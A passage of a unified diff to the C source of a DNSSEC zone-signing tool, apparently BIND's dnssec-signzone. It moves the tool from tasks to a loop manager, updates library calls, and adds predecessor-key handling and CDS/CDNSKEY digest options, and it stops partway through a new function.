 #include <unistd.h>
 
-#include <isc/app.h>
+#include <openssl/opensslv.h>
+
+#include <isc/async.h>
 #include <isc/atomic.h>
 #include <isc/attributes.h>
 #include <isc/base32.h>
 #include <isc/commandline.h>
-#include <isc/event.h>
+#include <isc/dir.h>
 #include <isc/file.h>
+#include <isc/fips.h>
 #include <isc/hash.h>
 #include <isc/hex.h>
+#include <isc/loop.h>
 #include <isc/managers.h>
 #include <isc/md.h>
 #include <isc/mem.h>
 #include <isc/mutex.h>
 #include <isc/os.h>
-#include <isc/print.h>
 #include <isc/random.h>
+#include <isc/result.h>
 #include <isc/rwlock.h>
 #include <isc/safe.h>
 #include <isc/serial.h>
 #include <isc/stdio.h>
 #include <isc/string.h>
-#include <isc/task.h>
+#include <isc/tid.h>
 #include <isc/time.h>
 #include <isc/util.h>
 
@@ -62,6 +68,7 @@
 #include <dns/dnssec.h>
 #include <dns/ds.h>
 #include <dns/fixedname.h>
+#include <dns/kasp.h>
 #include <dns/keyvalues.h>
 #include <dns/log.h>
 #include <dns/master.h>
@@ -75,17 +82,16 @@
 #include <dns/rdatasetiter.h>
 #include <dns/rdatastruct.h>
 #include <dns/rdatatype.h>
-#include <dns/result.h>
 #include <dns/soa.h>
 #include <dns/time.h>
 #include <dns/update.h>
 #include <dns/zoneverify.h>
 
 #include <dst/dst.h>
-
-#if USE_PKCS11
-#include <pk11/result.h>
-#endif /* if USE_PKCS11 */
+#if OPENSSL_VERSION_NUMBER >= 0x30000000L && OPENSSL_API_LEVEL >= 30000
+#include <openssl/err.h>
+#include <openssl/provider.h>
+#endif
 
 #include "dnssectool.h"
 
@@ -116,16 +122,9 @@ static int nsec_datatype = dns_rdatatype_nsec;
 #define SOA_SERIAL_UNIXTIME  2
 #define SOA_SERIAL_DATE	     3
 
-typedef struct signer_event sevent_t;
-struct signer_event {
-	ISC_EVENT_COMMON(sevent_t);
-	dns_fixedname_t *fname;
-	dns_dbnode_t *node;
-};
-
 static dns_dnsseckeylist_t keylist;
 static unsigned int keycount = 0;
-isc_rwlock_t keylist_lock;
+static isc_rwlock_t keylist_lock;
 static isc_stdtime_t starttime = 0, endtime = 0, dnskey_endtime = 0, now;
 static int cycle = -1;
 static int jitter = 0;
@@ -146,19 +145,18 @@ static unsigned int nverified = 0, nverifyfailed = 0;
 static const char *directory = NULL, *dsdir = NULL;
 static isc_mutex_t namelock, statslock;
 static isc_nm_t *netmgr = NULL;
-static isc_taskmgr_t *taskmgr = NULL;
+static isc_loopmgr_t *loopmgr = NULL;
 static dns_db_t *gdb;		  /* The database */
 static dns_dbversion_t *gversion; /* The database version */
 static dns_dbiterator_t *gdbiter; /* The database iterator */
 static dns_rdataclass_t gclass;	  /* The class */
 static dns_name_t *gorigin;	  /* The database origin */
 static int nsec3flags = 0;
-static dns_iterations_t nsec3iter = 10U;
+static dns_iterations_t nsec3iter = 0U;
 static unsigned char saltbuf[255];
 static unsigned char *gsalt = saltbuf;
 static size_t salt_length = 0;
-static isc_task_t *master = NULL;
-static unsigned int ntasks = 0;
+static unsigned int nloops = 0;
 static atomic_bool shuttingdown;
 static atomic_bool finished;
 static bool nokeys = false;
@@ -182,6 +180,7 @@ static bool output_stdout = false;
 static bool set_maxttl = false;
 static dns_ttl_t maxttl = 0;
 static bool no_max_check = false;
+static const char *sync_records = "cdnskey,cds:sha-256";
 
 #define INCSTAT(counter)            \
 	if (printstats) {           \
@@ -190,9 +189,6 @@ static bool no_max_check = false;
 		UNLOCK(&statslock); \
 	}
 
-static void
-sign(isc_task_t *task, isc_event_t *event);
-
 /*%
  * Store a copy of 'name' in 'fzonecut' and return a pointer to that copy.
  */
@@ -213,20 +209,13 @@ dumpnode(dns_name_t *name, dns_dbnode_t *node) {
 	isc_buffer_t *buffer = NULL;
 	isc_region_t r;
 	isc_result_t result;
-	unsigned bufsize = 4096;
-
-	if (outputformat != dns_masterformat_text) {
-		return;
-	}
+	unsigned int bufsize = 4096;
 
 	if (!output_dnssec_only) {
-		result = dns_master_dumpnodetostream(mctx, gdb, gversion, node,
-						     name, masterstyle, outfp);
-		check_result(result, "dns_master_dumpnodetostream");
 		return;
 	}
 
-	result = dns_db_allrdatasets(gdb, node, gversion, 0, &iter);
+	result = dns_db_allrdatasets(gdb, node, gversion, 0, 0, &iter);
 	check_result(result, "dns_db_allrdatasets");
 
 	dns_rdataset_init(&rds);
@@ -273,6 +262,17 @@ dumpnode(dns_name_t *name, dns_dbnode_t *node) {
 	dns_rdatasetiter_destroy(&iter);
 }
 
+static void
+lock_and_dumpnode(dns_name_t *name, dns_dbnode_t *node) {
+	if (!output_dnssec_only) {
+		return;
+	}
+
+	LOCK(&namelock);
+	dumpnode(name, node);
+	UNLOCK(&namelock);
+}
+
 /*%
  * Sign the given RRset with given key, and add the signature record to the
  * given tuple.
@@ -326,28 +326,28 @@ signwithkey(dns_name_t *name, dns_rdataset_t *rdataset, dst_key_t *key,
 	dns_diff_append(add, &tuple);
 }
 
-static inline bool
+static bool
 issigningkey(dns_dnsseckey_t *key) {
 	return (key->force_sign || key->hint_sign);
 }
 
-static inline bool
+static bool
 ispublishedkey(dns_dnsseckey_t *key) {
 	return ((key->force_publish || key->hint_publish) && !key->hint_remove);
 }
 
-static inline bool
+static bool
 iszonekey(dns_dnsseckey_t *key) {
 	return (dns_name_equal(dst_key_name(key->key), gorigin) &&
 		dst_key_iszonekey(key->key));
 }
 
-static inline bool
+static bool
 isksk(dns_dnsseckey_t *key) {
 	return (key->ksk);
 }
 
-static inline bool
+static bool
 iszsk(dns_dnsseckey_t *key) {
 	return (ignore_kskflag || !key->ksk);
 }
@@ -363,7 +363,8 @@ keythatsigned_unlocked(dns_rdata_rrsig_t *rrsig) {
 	dns_dnsseckey_t *key;
 
 	for (key = ISC_LIST_HEAD(keylist); key != NULL;
-	     key = ISC_LIST_NEXT(key, link)) {
+	     key = ISC_LIST_NEXT(key, link))
+	{
 		if (rrsig->keyid == dst_key_id(key->key) &&
 		    rrsig->algorithm == dst_key_alg(key->key) &&
 		    dns_name_equal(&rrsig->signer, dst_key_name(key->key)))
@@ -384,9 +385,9 @@ keythatsigned(dns_rdata_rrsig_t *rrsig) {
 	dst_key_t *pubkey = NULL, *privkey = NULL;
 	dns_dnsseckey_t *key = NULL;
 
-	isc_rwlock_lock(&keylist_lock, isc_rwlocktype_read);
+	RWLOCK(&keylist_lock, isc_rwlocktype_read);
 	key = keythatsigned_unlocked(rrsig);
-	isc_rwlock_unlock(&keylist_lock, isc_rwlocktype_read);
+	RWUNLOCK(&keylist_lock, isc_rwlocktype_read);
 	if (key != NULL) {
 		return (key);
 	}
@@ -418,17 +419,15 @@ keythatsigned(dns_rdata_rrsig_t *rrsig) {
 		DST_TYPE_PUBLIC | DST_TYPE_PRIVATE, directory, mctx, &privkey);
 	if (result == ISC_R_SUCCESS) {
 		dst_key_free(&pubkey);
-		result = dns_dnsseckey_create(mctx, &privkey, &key);
+		dns_dnsseckey_create(mctx, &privkey, &key);
 	} else {
-		result = dns_dnsseckey_create(mctx, &pubkey, &key);
+		dns_dnsseckey_create(mctx, &pubkey, &key);
 	}
 
-	if (result == ISC_R_SUCCESS) {
-		key->force_publish = false;
-		key->force_sign = false;
-		key->index = keycount++;
-		ISC_LIST_APPEND(keylist, key, link);
-	}
+	key->force_publish = false;
+	key->force_sign = false;
+	key->index = keycount++;
+	ISC_LIST_APPEND(keylist, key, link);
 
 	isc_rwlock_unlock(&keylist_lock, isc_rwlocktype_write);
 	return (key);
@@ -458,15 +457,17 @@ expecttofindkey(dns_name_t *name) {
 	case DNS_R_CNAME:
 	case DNS_R_DNAME:
 		return (false);
+	default:
+		break;
 	}
 	dns_name_format(name, namestr, sizeof(namestr));
 	fatal("failure looking for '%s DNSKEY' in database: %s", namestr,
 	      isc_result_totext(result));
-	/* NOTREACHED */
+	UNREACHABLE();
 	return (false); /* removes a warning */
 }
 
-static inline bool
+static bool
 setverifies(dns_name_t *name, dns_rdataset_t *set, dst_key_t *key,
 	    dns_rdata_t *rrsig) {
 	isc_result_t result;
@@ -528,8 +529,8 @@ signset(dns_diff_t *del, dns_diff_t *add, dns_dbnode_t *node, dns_name_t *name,
 	if (!nosigs) {
 		arraysize += dns_rdataset_count(&sigset);
 	}
-	wassignedby = isc_mem_get(mctx, arraysize * sizeof(bool));
-	nowsignedby = isc_mem_get(mctx, arraysize * sizeof(bool));
+	wassignedby = isc_mem_cget(mctx, arraysize, sizeof(bool));
+	nowsignedby = isc_mem_cget(mctx, arraysize, sizeof(bool));
 
 	for (i = 0; i < arraysize; i++) {
 		wassignedby[i] = nowsignedby[i] = false;
@@ -554,11 +555,7 @@ signset(dns_diff_t *del, dns_diff_t *add, dns_dbnode_t *node, dns_name_t *name,
 
 		key = keythatsigned(&rrsig);
 		sig_format(&rrsig, sigstr, sizeof(sigstr));
-		if (key != NULL && issigningkey(key)) {
-			expired = isc_serial_gt(now + cycle, rrsig.timeexpire);
-		} else {
-			expired = isc_serial_gt(now, rrsig.timeexpire);
-		}
+		expired = isc_serial_gt(now + cycle, rrsig.timeexpire);
 
 		if (isc_serial_gt(rrsig.timesigned, rrsig.timeexpire)) {
 			/* rrsig is dropped and not replaced */
@@ -567,7 +564,8 @@ signset(dns_diff_t *del, dns_diff_t *add, dns_dbnode_t *node, dns_name_t *name,
 				 "invalid validity period\n",
 				 sigstr);
 		} else if (key == NULL && !future &&
-			   expecttofindkey(&rrsig.signer)) {
+			   expecttofindkey(&rrsig.signer))
+		{
 			/* rrsig is dropped and not replaced */
 			vbprintf(2,
 				 "\trrsig by %s dropped - "
@@ -578,7 +576,8 @@ signset(dns_diff_t *del, dns_diff_t *add, dns_dbnode_t *node, dns_name_t *name,
 			vbprintf(2, "\trrsig by %s %s - dnskey not found\n",
 				 keep ? "retained" : "dropped", sigstr);
 		} else if (!dns_dnssec_keyactive(key->key, now) &&
-			   remove_inactkeysigs) {
+			   remove_inactkeysigs)
+		{
 			keep = false;
 			vbprintf(2, "\trrsig by %s dropped - key inactive\n",
 				 sigstr);
@@ -648,7 +647,7 @@ signset(dns_diff_t *del, dns_diff_t *add, dns_dbnode_t *node, dns_name_t *name,
 			}
 		} else {
 			tuple = NULL;
-			vbprintf(2, "removing signature by %s\n", sigstr);
+			vbprintf(2, "\tremoving signature by %s\n", sigstr);
 			result = dns_difftuple_create(
 				mctx, DNS_DIFFOP_DELRESIGN, name, sigset.ttl,
 				&sigrdata, &tuple);
@@ -679,7 +678,8 @@ signset(dns_diff_t *del, dns_diff_t *add, dns_dbnode_t *node, dns_name_t *name,
 	}
 
 	for (key = ISC_LIST_HEAD(keylist); key != NULL;
-	     key = ISC_LIST_NEXT(key, link)) {
+	     key = ISC_LIST_NEXT(key, link))
+	{
 		if (nowsignedby[key->index]) {
 			continue;
 		}
@@ -694,36 +694,96 @@ signset(dns_diff_t *del, dns_diff_t *add, dns_dbnode_t *node, dns_name_t *name,
 		    dns_name_equal(name, gorigin))
 		{
 			bool have_ksk;
-			dns_dnsseckey_t *tmpkey;
+			dns_dnsseckey_t *curr;
 
 			have_ksk = isksk(key);
-			for (tmpkey = ISC_LIST_HEAD(keylist); tmpkey != NULL;
-			     tmpkey = ISC_LIST_NEXT(tmpkey, link))
+			for (curr = ISC_LIST_HEAD(keylist); curr != NULL;
+			     curr = ISC_LIST_NEXT(curr, link))
 			{
 				if (dst_key_alg(key->key) !=
-				    dst_key_alg(tmpkey->key)) {
+				    dst_key_alg(curr->key))
+				{
 					continue;
 				}
-				if (REVOKE(tmpkey->key)) {
+				if (REVOKE(curr->key)) {
 					continue;
 				}
-				if (isksk(tmpkey)) {
+				if (isksk(curr)) {
 					have_ksk = true;
 				}
 			}
 			if (isksk(key) || !have_ksk ||
-			    (iszsk(key) && !keyset_kskonly)) {
+			    (iszsk(key) && !keyset_kskonly))
+			{
 				signwithkey(name, set, key->key, ttl, add,
 					    "signing with dnskey");
 			}
 		} else if (iszsk(key)) {
-			signwithkey(name, set, key->key, ttl, add,
-				    "signing with dnskey");
+			/*
+			 * Sign with the ZSK unless there is a predecessor
+			 * key that already signs this RRset.
+			 */
+			bool have_pre_sig = false;
+			dns_dnsseckey_t *curr;
+			uint32_t pre;
+			isc_result_t ret = dst_key_getnum(
+				key->key, DST_NUM_PREDECESSOR, &pre);
+			if (ret == ISC_R_SUCCESS) {
+				/*
+				 * This key has a predecessor, look for the
+				 * corresponding key in the keylist. The
+				 * key we are looking for must be:
+				 * - From the same cryptographic algorithm.
+				 * - Have the ZSK type (iszsk).
+				 * - Have key ID equal to the predecessor id.
+				 * - Have a successor that matches 'key' id.
+				 */
+				for (curr = ISC_LIST_HEAD(keylist);
+				     curr != NULL;
+				     curr = ISC_LIST_NEXT(curr, link))
+				{
+					uint32_t suc;
+
+					if (dst_key_alg(key->key) !=
+						    dst_key_alg(curr->key) ||
+					    !iszsk(curr) ||
+					    dst_key_id(curr->key) != pre)
+					{
+						continue;
+					}
+					ret = dst_key_getnum(curr->key,
+							     DST_NUM_SUCCESSOR,
+							     &suc);
+					if (ret != ISC_R_SUCCESS ||
+					    dst_key_id(key->key) != suc)
+					{
+						continue;
+					}
+
+					/*
+					 * curr is the predecessor we were
+					 * looking for. Check if this key
+					 * signs this RRset.
+					 */
+					if (nowsignedby[curr->index]) {
+						have_pre_sig = true;
+					}
+				}
+			}
+
+			/*
+			 * If we have a signature of a predecessor key,
+			 * skip signing with this key.
+			 */
+			if (!have_pre_sig) {
+				signwithkey(name, set, key->key, ttl, add,
+					    "signing with dnskey");
+			}
 		}
 	}
 
-	isc_mem_put(mctx, wassignedby, arraysize * sizeof(bool));
-	isc_mem_put(mctx, nowsignedby, arraysize * sizeof(bool));
+	isc_mem_cput(mctx, wassignedby, arraysize, sizeof(bool));
+	isc_mem_cput(mctx, nowsignedby, arraysize, sizeof(bool));
 }
 
 struct hashlist {
@@ -1131,7 +1191,7 @@ signname(dns_dbnode_t *node, dns_name_t *name) {
 	dns_diff_init(mctx, &del);
 	dns_diff_init(mctx, &add);
 	rdsiter = NULL;
-	result = dns_db_allrdatasets(gdb, node, gversion, 0, &rdsiter);
+	result = dns_db_allrdatasets(gdb, node, gversion, 0, 0, &rdsiter);
 	check_result(result, "dns_db_allrdatasets()");
 	result = dns_rdatasetiter_first(rdsiter);
 	while (result == ISC_R_SUCCESS) {
@@ -1149,7 +1209,8 @@ signname(dns_dbnode_t *node, dns_name_t *name) {
 		 */
 		if (isdelegation) {
 			if (rdataset.type != nsec_datatype &&
-			    rdataset.type != dns_rdatatype_ds) {
+			    rdataset.type != dns_rdatatype_ds)
+			{
 				goto skip;
 			}
 		} else if (rdataset.type == dns_rdatatype_ds) {
@@ -1192,7 +1253,7 @@ signname(dns_dbnode_t *node, dns_name_t *name) {
  * See if the node contains any non RRSIG/NSEC records and report to
  * caller.  Clean out extraneous RRSIG records for node.
  */
-static inline bool
+static bool
 active_node(dns_dbnode_t *node) {
 	dns_rdatasetiter_t *rdsiter = NULL;
 	dns_rdatasetiter_t *rdsiter2 = NULL;
@@ -1204,7 +1265,7 @@ active_node(dns_dbnode_t *node) {
 	bool found;
 
 	dns_rdataset_init(&rdataset);
-	result = dns_db_allrdatasets(gdb, node, gversion, 0, &rdsiter);
+	result = dns_db_allrdatasets(gdb, node, gversion, 0, 0, &rdsiter);
 	check_result(result, "dns_db_allrdatasets()");
 	result = dns_rdatasetiter_first(rdsiter);
 	while (result == ISC_R_SUCCESS) {
@@ -1250,7 +1311,8 @@ active_node(dns_dbnode_t *node) {
 		/*
 		 * Delete RRSIGs for types that no longer exist.
 		 */
-		result = dns_db_allrdatasets(gdb, node, gversion, 0, &rdsiter2);
+		result = dns_db_allrdatasets(gdb, node, gversion, 0, 0,
+					     &rdsiter2);
 		check_result(result, "dns_db_allrdatasets()");
 		for (result = dns_rdatasetiter_first(rdsiter);
 		     result == ISC_R_SUCCESS;
@@ -1298,7 +1360,8 @@ active_node(dns_dbnode_t *node) {
 				check_result(result, "dns_db_deleterdataset("
 						     "rrsig)");
 			} else if (result != ISC_R_NOMORE &&
-				   result != ISC_R_SUCCESS) {
+				   result != ISC_R_SUCCESS)
+			{
 				fatal("rdataset iteration failed: %s",
 				      isc_result_totext(result));
 			}
@@ -1379,7 +1442,8 @@ setsoaserial(uint32_t serial, dns_updatemethod_t method) {
 	old_serial = dns_soa_getserial(&rdata);
 
 	if (method == dns_updatemethod_date ||
-	    method == dns_updatemethod_unixtime) {
+	    method == dns_updatemethod_unixtime)
+	{
 		new_serial = dns_update_soaserial(old_serial, method, &used);
 	} else if (serial != 0 || method == dns_updatemethod_none) {
 		/* Set SOA serial to the value provided. */
@@ -1436,47 +1500,6 @@ setsoaserial(uint32_t serial, dns_updatemethod_t method) {
 	return (result);
 }
 
-/*%
- * Delete any RRSIG records at a node.
- */
-static void
-cleannode(dns_db_t *db, dns_dbversion_t *dbversion, dns_dbnode_t *node) {
-	dns_rdatasetiter_t *rdsiter = NULL;
-	dns_rdataset_t set;
-	isc_result_t result, dresult;
-
-	if (outputformat != dns_masterformat_text || !disable_zone_check) {
-		return;
-	}
-
-	dns_rdataset_init(&set);
-	result = dns_db_allrdatasets(db, node, dbversion, 0, &rdsiter);
-	check_result(result, "dns_db_allrdatasets");
-	result = dns_rdatasetiter_first(rdsiter);
-	while (result == ISC_R_SUCCESS) {
-		bool destroy = false;
-		dns_rdatatype_t covers = 0;
-		dns_rdatasetiter_current(rdsiter, &set);
-		if (set.type == dns_rdatatype_rrsig) {
-			covers = set.covers;
-			destroy = true;
-		}
-		dns_rdataset_disassociate(&set);
-		result = dns_rdatasetiter_next(rdsiter);
-		if (destroy) {
-			dresult = dns_db_deleterdataset(db, node, dbversion,
-							dns_rdatatype_rrsig,
-							covers);
-			check_result(dresult, "dns_db_deleterdataset");
-		}
-	}
-	if (result != ISC_R_NOMORE) {
-		fatal("rdataset iteration failed: %s",
-		      isc_result_totext(result));
-	}
-	dns_rdatasetiter_destroy(&rdsiter);
-}
-
 /*%
  * Set up the iterator and global state before starting the tasks.
  */
@@ -1516,7 +1539,6 @@ signapex(void) {
 	check_dns_dbiterator_current(result);
 	signname(node, name);
 	dumpnode(name, node);
-	cleannode(gdb, gversion, node);
 	dns_db_detachnode(gdb, &node);
 	result = dns_dbiterator_first(gdbiter);
 	if (result == ISC_R_NOMORE) {
@@ -1527,16 +1549,22 @@ signapex(void) {
 	}
 }
 
+static void
+abortwork(void *arg) {
+	UNUSED(arg);
+
+	atomic_store(&shuttingdown, true);
+}
+
 /*%
- * Assigns a node to a worker thread.  This is protected by the master task's
+ * Assigns a node to a worker thread.  This is protected by the main task's
  * lock.
  */
 static void
-assignwork(isc_task_t *task, isc_task_t *worker) {
-	dns_fixedname_t *fname;
-	dns_name_t *name;
-	dns_dbnode_t *node;
-	sevent_t *sevent;
+assignwork(void *arg) {
+	dns_fixedname_t fname;
+	dns_name_t *name = NULL;
+	dns_dbnode_t *node = NULL;
 	dns_rdataset_t nsec;
 	bool found;
 	isc_result_t result;
@@ -1544,6 +1572,8 @@ assignwork(isc_task_t *task, isc_task_t *worker) {
 	static dns_fixedname_t fzonecut;   /* Protected by namelock. */
 	static unsigned int ended = 0;	   /* Protected by namelock. */
 
+	UNUSED(arg);
+
 	if (atomic_load(&shuttingdown)) {
 		return;
 	}
@@ -1551,15 +1581,14 @@ assignwork(isc_task_t *task, isc_task_t *worker) {
 	LOCK(&namelock);
 	if (atomic_load(&finished)) {
 		ended++;
-		if (ended == ntasks) {
-			isc_task_detach(&task);
-			isc_app_shutdown();
+		if (ended == nloops) {
+			isc_loopmgr_shutdown(loopmgr);
 		}
-		goto unlock;
+		UNLOCK(&namelock);
+		return;
 	}
 
-	fname = isc_mem_get(mctx, sizeof(dns_fixedname_t));
-	name = dns_fixedname_initname(fname);
+	name = dns_fixedname_initname(&fname);
 	node = NULL;
 	found = false;
 	while (!found) {
@@ -1594,10 +1623,12 @@ assignwork(isc_task_t *task, isc_task_t *worker) {
 			     !dns_name_issubdomain(name, zonecut)))
 			{
 				if (is_delegation(gdb, gversion, gorigin, name,
-						  node, NULL)) {
+						  node, NULL))
+				{
 					zonecut = savezonecut(&fzonecut, name);
 					if (!OPTOUT(nsec3flags) ||
-					    secure(name, node)) {
+					    secure(name, node))
+					{
 						found = true;
 					}
 				} else if (has_dname(gdb, gversion, node)) {
@@ -1626,73 +1657,24 @@ assignwork(isc_task_t *task, isc_task_t *worker) {
 	}
 	if (!found) {
 		ended++;
-		if (ended == ntasks) {
-			isc_task_detach(&task);
-			isc_app_shutdown();
+		if (ended == nloops) {
+			isc_loopmgr_shutdown(loopmgr);
 		}
-		isc_mem_put(mctx, fname, sizeof(dns_fixedname_t));
-		goto unlock;
+		UNLOCK(&namelock);
+		return;
 	}
-	sevent = (sevent_t *)isc_event_allocate(mctx, task, SIGNER_EVENT_WORK,
-						sign, NULL, sizeof(sevent_t));
 
-	sevent->node = node;
-	sevent->fname = fname;
-	isc_task_send(worker, ISC_EVENT_PTR(&sevent));
-unlock:
 	UNLOCK(&namelock);
-}
-
-/*%
- * Start a worker task
- */
-static void
-startworker(isc_task_t *task, isc_event_t *event) {
-	isc_task_t *worker;
 
-	worker = (isc_task_t *)event->ev_arg;
-	assignwork(task, worker);
-	isc_event_free(&event);
-}
+	signname(node, dns_fixedname_name(&fname));
 
-/*%
- * Write a node to the output file, and restart the worker task.
- */
-static void
-writenode(isc_task_t *task, isc_event_t *event) {
-	isc_task_t *worker;
-	sevent_t *sevent = (sevent_t *)event;
-
-	worker = (isc_task_t *)event->ev_sender;
-	dumpnode(dns_fixedname_name(sevent->fname), sevent->node);
-	cleannode(gdb, gversion, sevent->node);
-	dns_db_detachnode(gdb, &sevent->node);
-	isc_mem_put(mctx, sevent->fname, sizeof(dns_fixedname_t));
-	assignwork(task, worker);
-	isc_event_free(&event);
-}
+	/*%
+	 * Write a node to the output file, and restart the worker task.
+	 */
+	lock_and_dumpnode(dns_fixedname_name(&fname), node);
+	dns_db_detachnode(gdb, &node);
 
-/*%
- *  Sign a database node.
- */
-static void
-sign(isc_task_t *task, isc_event_t *event) {
-	dns_fixedname_t *fname;
-	dns_dbnode_t *node;
-	sevent_t *sevent, *wevent;
-
-	sevent = (sevent_t *)event;
-	node = sevent->node;
-	fname = sevent->fname;
-	isc_event_free(&event);
-
-	signname(node, dns_fixedname_name(fname));
-	wevent = (sevent_t *)isc_event_allocate(mctx, task, SIGNER_EVENT_WRITE,
-						writenode, NULL,
-						sizeof(sevent_t));
-	wevent->node = node;
-	wevent->fname = fname;
-	isc_task_send(master, ISC_EVENT_PTR(&wevent));
+	isc_async_current(loopmgr, assignwork, NULL);
 }
 
 /*%
@@ -1748,7 +1730,7 @@ remove_records(dns_dbnode_t *node, dns_rdatatype_t which, bool checknsec) {
 	/*
 	 * Delete any records of the given type at the apex.
 	 */
-	result = dns_db_allrdatasets(gdb, node, gversion, 0, &rdsiter);
+	result = dns_db_allrdatasets(gdb, node, gversion, 0, 0, &rdsiter);
 	check_result(result, "dns_db_allrdatasets()");
 	for (result = dns_rdatasetiter_first(rdsiter); result == ISC_R_SUCCESS;
 	     result = dns_rdatasetiter_next(rdsiter))
@@ -1759,12 +1741,14 @@ remove_records(dns_dbnode_t *node, dns_rdatatype_t which, bool checknsec) {
 		dns_rdataset_disassociate(&rdataset);
 		if (type == which || covers == which) {
 			if (which == dns_rdatatype_nsec && checknsec &&
-			    !update_chain) {
+			    !update_chain)
+			{
 				fatal("Zone contains NSEC records.  Use -u "
 				      "to update to NSEC3.");
 			}
 			if (which == dns_rdatatype_nsec3param && checknsec &&
-			    !update_chain) {
+			    !update_chain)
+			{
 				fatal("Zone contains NSEC3 chains.  Use -u "
 				      "to update to NSEC.");
 			}
@@ -1789,7 +1773,7 @@ remove_sigs(dns_dbnode_t *node, bool delegation, dns_rdatatype_t which) {
 	dns_rdataset_t rdataset;
 
 	dns_rdataset_init(&rdataset);
-	result = dns_db_allrdatasets(gdb, node, gversion, 0, &rdsiter);
+	result = dns_db_allrdatasets(gdb, node, gversion, 0, 0, &rdsiter);
 	check_result(result, "dns_db_allrdatasets()");
 	for (result = dns_rdatasetiter_first(rdsiter); result == ISC_R_SUCCESS;
 	     result = dns_rdatasetiter_next(rdsiter))
@@ -1853,7 +1837,8 @@ nsecify(void) {
 	{
 		result = dns_dbiterator_current(dbiter, &node, name);
 		check_dns_dbiterator_current(result);
-		result = dns_db_allrdatasets(gdb, node, gversion, 0, &rdsiter);
+		result = dns_db_allrdatasets(gdb, node, gversion, 0, 0,
+					     &rdsiter);
 		check_result(result, "dns_db_allrdatasets()");
 		for (result = dns_rdatasetiter_first(rdsiter);
 		     result == ISC_R_SUCCESS;
@@ -1978,7 +1963,7 @@ addnsec3param(const unsigned char *salt, size_t salt_len,
 	nsec3param.hash = unknownalg ? DNS_NSEC3_UNKNOWNALG : dns_hash_sha1;
 	nsec3param.iterations = iterations;
 	nsec3param.salt_length = (unsigned char)salt_len;
-	DE_CONST(salt, nsec3param.salt);
+	nsec3param.salt = UNCONST(salt);
 
 	isc_buffer_init(&b, nsec3parambuf, sizeof(nsec3parambuf));
 	result = dns_rdata_fromstruct(&rdata, gclass, dns_rdatatype_nsec3param,
@@ -1988,8 +1973,7 @@ addnsec3param(const unsigned char *salt, size_t salt_len,
 	rdatalist.rdclass = rdata.rdclass;
 	rdatalist.type = rdata.type;
 	ISC_LIST_APPEND(rdatalist.rdata, &rdata, link);
-	result = dns_rdatalist_tordataset(&rdatalist, &rdataset);
-	check_result(result, "dns_rdatalist_tordataset()");
+	dns_rdatalist_tordataset(&rdatalist, &rdataset);
 
 	result = dns_db_findnode(gdb, gorigin, true, &node);
 	check_result(result, "dns_db_findnode(gorigin)");
@@ -2050,8 +2034,7 @@ addnsec3(dns_name_t *name, dns_dbnode_t *node, const unsigned char *salt,
 	rdatalist.type = rdata.type;
 	rdatalist.ttl = ttl;
 	ISC_LIST_APPEND(rdatalist.rdata, &rdata, link);
-	result = dns_rdatalist_tordataset(&rdatalist, &rdataset);
-	check_result(result, "dns_rdatalist_tordataset()");
+	dns_rdatalist_tordataset(&rdatalist, &rdataset);
 	result = dns_db_findnsec3node(gdb, dns_fixedname_name(&hashname), true,
 				      &nsec3node);
 	check_result(result, "addnsec3: dns_db_findnode()");
@@ -2152,8 +2135,7 @@ nsec3clean(dns_name_t *name, dns_dbnode_t *node, unsigned int hashalg,
 		dns_rdata_init(&delrdata);
 		dns_rdata_clone(&rdata, &delrdata);
 		ISC_LIST_APPEND(rdatalist.rdata, &delrdata, link);
-		result = dns_rdatalist_tordataset(&rdatalist, &delrdataset);
-		check_result(result, "dns_rdatalist_tordataset()");
+		dns_rdatalist_tordataset(&rdatalist, &delrdataset);
 		result = dns_db_subtractrdataset(gdb, node, gversion,
 						 &delrdataset, 0, NULL);
 		dns_rdataset_disassociate(&delrdataset);
@@ -2211,7 +2193,8 @@ rrset_cleanup(dns_name_t *name, dns_rdataset_t *rdataset, dns_diff_t *add,
 			count2++;
 			dns_rdataset_current(&tmprdataset, &rdata2);
 			if (count1 < count2 &&
-			    dns_rdata_casecompare(&rdata1, &rdata2) == 0) {
+			    dns_rdata_casecompare(&rdata1, &rdata2) == 0)
+			{
 				vbprintf(2, "removing duplicate at %s/%s\n",
 					 namestr, typestr);
 				result = dns_difftuple_create(
@@ -2266,7 +2249,8 @@ cleanup_zone(void) {
 	{
 		result = dns_dbiterator_current(dbiter, &node, name);
 		check_dns_dbiterator_current(result);
-		result = dns_db_allrdatasets(gdb, node, gversion, 0, &rdsiter);
+		result = dns_db_allrdatasets(gdb, node, gversion, 0, 0,
+					     &rdsiter);
 		check_result(result, "dns_db_allrdatasets()");
 		for (result = dns_rdatasetiter_first(rdsiter);
 		     result == ISC_R_SUCCESS;
@@ -2378,14 +2362,16 @@ nsec3ify(unsigned int hashalg, dns_iterations_t iterations,
 				continue;
 			}
 			if (is_delegation(gdb, gversion, gorigin, nextname,
-					  nextnode, &nsttl)) {
+					  nextnode, &nsttl))
+			{
 				zonecut = savezonecut(&fzonecut, nextname);
 				remove_sigs(nextnode, true, 0);
 				if (generateds) {
 					add_ds(nextname, nextnode, nsttl);
 				}
 				if (OPTOUT(nsec3flags) &&
-				    !secure(nextname, nextnode)) {
+				    !secure(nextname, nextnode))
+				{
 					dns_db_detachnode(gdb, &nextnode);
 					result = dns_dbiterator_next(dbiter);
 					continue;
@@ -2519,10 +2505,12 @@ nsec3ify(unsigned int hashalg, dns_iterations_t iterations,
 				continue;
 			}
 			if (is_delegation(gdb, gversion, gorigin, nextname,
-					  nextnode, NULL)) {
+					  nextnode, NULL))
+			{
 				zonecut = savezonecut(&fzonecut, nextname);
 				if (OPTOUT(nsec3flags) &&
-				    !secure(nextname, nextnode)) {
+				    !secure(nextname, nextnode))
+				{
 					dns_db_detachnode(gdb, &nextnode);
 					result = dns_dbiterator_next(dbiter);
 					continue;
@@ -2700,7 +2688,8 @@ loadexplicitkeys(char *keyfiles[], int n, bool setksk) {
 
 		/* Skip any duplicates */
 		for (key = ISC_LIST_HEAD(keylist); key != NULL;
-		     key = ISC_LIST_NEXT(key, link)) {
+		     key = ISC_LIST_NEXT(key, link))
+		{
 			if (dst_key_id(key->key) == dst_key_id(newkey) &&
 			    dst_key_alg(key->key) == dst_key_alg(newkey))
 			{
@@ -2751,6 +2740,51 @@ clear_keylist(dns_dnsseckeylist_t *list) {
 	}
 }
 
+static void
+add_digest(char *str, size_t dlen, dns_kasp_digestlist_t *digests,
+	   bool *cdnskey) {
+	isc_result_t result;
+	isc_textregion_t r;
+	dns_dsdigest_t alg;
+	dns_kasp_digest_t *digest;
+
+	if (dlen == 7 && strncmp(str, "cdnskey", dlen) == 0) {
